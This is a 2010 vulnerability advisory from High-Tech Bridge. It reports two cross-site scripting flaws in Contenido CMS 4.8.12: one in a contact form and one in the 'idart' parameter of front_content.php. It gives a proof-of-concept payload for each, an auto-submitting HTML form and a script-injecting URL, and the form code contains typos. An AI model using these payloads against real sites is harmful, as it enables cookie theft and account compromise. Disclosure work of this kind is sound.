38 lines
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1.9 KiB
Text
38 lines
No EOL
1.9 KiB
Text
Vulnerability ID: HTB22635
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Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_contenido_cms.html
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Product: Contenido CMS
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Vendor: four for business AG ( http://www.contenido.org/ )
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Vulnerable Version: 4.8.12 and Probably Prior Versions
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Vendor Notification: 29 September 2010
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Vulnerability Type: XSS (Cross Site Scripting)
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Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
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Risk level: Medium
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Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
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Vulnerability Details:
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User can execute arbitrary JavaScript code within the vulnerable application.
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The vulnerability exists due to failure in the contact form to properly sanitize user-supplied input in many parameters. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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An attacker can use browser to exploit this vulnerability. The following PoC is available:
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<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
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<input type="hidden" name="send" valuye="1">
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<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
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</form>
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<script>
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document.M.Submit();
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<script>
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Vulnerability Details:
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User can execute arbitrary JavaScript code within the vulnerable application.
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The vulnerability exists due to failure in the "front_content.php" script to properly sanitize user-supplied input in "idart" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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An attacker can use browser to exploit this vulnerability. The following PoC is available:
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http://host/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
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Solution: Upgrade to the most recent version |